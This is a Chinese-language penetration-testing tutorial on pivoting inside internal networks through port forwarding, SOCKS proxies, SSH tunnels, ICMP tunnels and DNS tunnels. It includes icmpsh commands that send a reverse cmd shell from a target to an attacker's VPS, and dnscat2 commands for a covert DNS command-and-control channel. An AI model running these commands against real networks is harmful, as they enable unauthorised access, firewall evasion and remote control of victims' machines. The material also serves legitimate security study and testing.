内网渗透之端口转发

在获取一个目标攻击机之后,接着进行域渗透时,可能会遇见一些特殊情况,此时需要的是利用nc,lcx等工具进行端口转发。

  • 适用端口转发的网络环境有以下几种:
  1. 服务器处于内网,可以访问外部网络。
  2. 服务器处于外网,可以访问外部网络,但是服务器安装了防火墙来拒绝敏感端口的连接。
  3. 服务器处于内网,对外只开放了80端口,并且服务器不能访问外网网络。
    对于以上三种情况,传统的方法可以突破1和2两种(全都可以理解为lcx),第三者可以使用SOCKS代理
    1.png

SOCKS 常用代理工具

Earthworm

EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内,强烈推荐使用。
目前已经有了最新版Termite。工具网址:http://rootkiter.com/EarthWorm

reGeorgre

Georg是reDuh的升级版,主要是把内网服务器的端口通过http/https隧道转发到本机,形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用webshell建立一个socks代理进行内网穿透,服务器必须支持aspx、php或jsp这些web程序中的一种。工具网址:https://github.com/NoneNotNull/reGeorg

sSocks

sSocks是一个socks代理工具套装,可用来开启socks代理服务,支持socks5验证,支持IPV6和UDP,并提供反向socks代理服务,即将远程计算机作为socks代理服务端,反弹回本地,极大方便内网的渗透测试,其最新版为0.0.13。工具网址:http://sourceforge.net/projects/ssocks/

SocksCap64

SocksCap64是一款在windows下相当好使的全局代理软件。SocksCap64可以使Windows应用程序通过SOCKS代理服务器来访问网络而不需要对这些应用程序做任何修改, 即使某些本身不支持SOCKS代理的应用程序通过SocksCap64之后都可以完美的实现代理访问。工具网址:http://www.sockscap64.com(需翻墙)

proxychains

Proxychains是一款在LINUX下可以实现全局代理的软件,性能相当稳定可靠。在使任何程序通過代理上網,允許TCP和DNS通過代理隧道,支持HTTP、SOCKS4、SOCKS5類型的代理服務器,支持proxy chain,即可配置多個代理,同一個proxy chain可使用不同類型的代理服務器。工具网址:http://proxychains.sourceforge.net/

SSH 隧道代理转发

  • 常用命令
    本地访问127.0.0.1:port1就是host:port2(用的更多)
    ssh -CfNg -L port1:127.0.0.1:port2 user@host #本地转发
    访问host:port2就是访问127.0.0.1:port1
    ssh -CfNg -R port2:127.0.0.1:port1 user@host #远程转发
    可以将dmz_host的hostport端口通过remote_ip转发到本地的port端口
    ssh -qTfnN -L port:dmz_host:hostport -l user remote_ip #正向隧道,监听本地port
    可以将dmz_host的hostport端口转发到remote_ip的port端口
    ssh -qTfnN -R port:dmz_host:hostport -l user remote_ip #反向隧道,用于内网穿透防火墙限制之类
    socket代理:
    ssh -qTfnN -D port remotehost
  • 参数详解:
    1
    2
    3
    4
    5
    6
    7
    -q Quiet mode. 安静模式
    -T Disable pseudo-tty allocation. 不占用 shell 了
    -f Requests ssh to go to background just before command execution. 后台运行,并推荐加上 -n 参数
    -N Do not execute a remote command. 不执行远程命令,端口转发就用它了
    -L port:host:hostport 将本地机(客户机)的某个端口转发到远端指定机器的指定端口. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 同时远程主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有 root 才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport
    -R port:host:hostport 将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口. 工作原理是这样的, 远程主机上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转向出去, 同时本地主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有用 root 登录远程主机才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport
    -D port 指定一个本地机器 "动态的" 应用程序端口转发. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接. 目前支持 SOCKS协议, 将充当SOCKS服务器. 只有 root 才能转发特权端口. 可以在配置文件中指定动态端口的转发.
ssh 本地转发

内网的服务器,外网不能直接访问,使用远程转发,将内网的服务器端口转发到外网端口。这时候访问外网的端口,就访问到了内网的端口。
远程管理服务器上的mysql,mysql不能直接root远程登陆。这时候就可以通过本地转发,通过ssh将服务器的3306端口转发到1234端口。
ssh -CfNg -L 1234 127.0.0.1:3306 root@45.32.31.121
图片.png

ssh 远程转发

内网的服务器,外网不能直接访问,使用远程转发,将内外的服务器端口转发到外网端口。这时候访问外网的端口,就访问到了内网的端口。
ssh -CfNg -R 81:127.0.0.1:80 root@192.168.153.142
图片.png
图片.png
现在在192.168.153.142访问127.0.0.1:81就是访问内网的端口。

ssh动态转发socks代理

把远程主机设置成代理,来代理访问不能访问的资源。在本地机器上分配了一个监听端口,一旦这个端口上有了连接,该连接就经过ssh隧道转发出去,根据应用程序的协议可以判断出远程主机将和哪里连接。
ssh -qTfnN -D 1080 root@45.32.31.121
图片.png
图片.png

ICMP隧道代理转发

ICMP隧道是通过将任意数据注入发送到远程计算机的回送数据包来工作的,要判断是否使用ICMP隧道,我们只需要关注一件事:可以ping通一个外部服务器。如果能到达外部网络,那么很有可能可以建立一个icmp隧道,缺点是需要root/administrator权限

icmpsh

具有公网ip的vps上:

git clone https://github.com/inquisb/icmpsh.git
apt-get install python-impacket
sysctl -w net.ipv4.icmp_echo_ignore_all=1
python icmpsh_m.py 公网ip地址 内网目标机器ip

目标机器:

icmpsh.exe -t 公网ip地址 -d 500 -b 30 -s 128

就会在具有公网ip的主机上收到一个cmd shell

DNS隧道

不论对出站流量采取多么严格的访问控制,你可能都要允许至少对一个服务器的 DNS 请求。对手就可以利用这个防火墙上的“大洞”来偷运数据,并且建立一个非常难以限制的隐蔽命令控制信道。

Dnscat2

github项目地址:https://github.com/iagox86/dnscat2
Dnscat2通过建立C&C通道递归DNS查询。此工具不需要root/administrator权限(在Windows和Linux上都可以使用)。他还支持端口转发
Server端:

ruby ./dnscat2.rb tunneldomain.com

Client端:

./dnscat2 tunneldomain.com

收到Server端的连接后,可以使用windows命令查看活动会话:

dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53 domains = tunneldomain.com [*]
1 :: command session (debian)
2 :: sh (debian) [*]

要启动端口转发,请选择一个命令会话session -i:

dnscat2> session -i 1
New window created: 1
New window created: 1
history_size (session) => 1000

This is a command session!

That means you can enter a dnscat2 command such as
‘ping’! For a full list of clients, try ‘help’.
command session (debian) 1>

使用 listen [lhost:]lport rhost:rport 命令转发端口:

command session (debian) 1> listen 127.0.0.1:8080 10.0.0.20:80

这将绑定靶机上的8080端口,并将所有链接转发到10.0.0.1:80上。

具体参考:https://bl4ck.in/penetration/2016/06/03/%E9%80%9A%E8%BF%87DNS%E5%8D%8F%E8%AE%AE%E7%BB%95%E8%BF%87%E9%98%B2%E7%81%AB%E5%A2%99.html

参考链接:
https://www.cnblogs.com/bmjoker/p/10264148.html
https://www.mozhe.cn/news/detail/26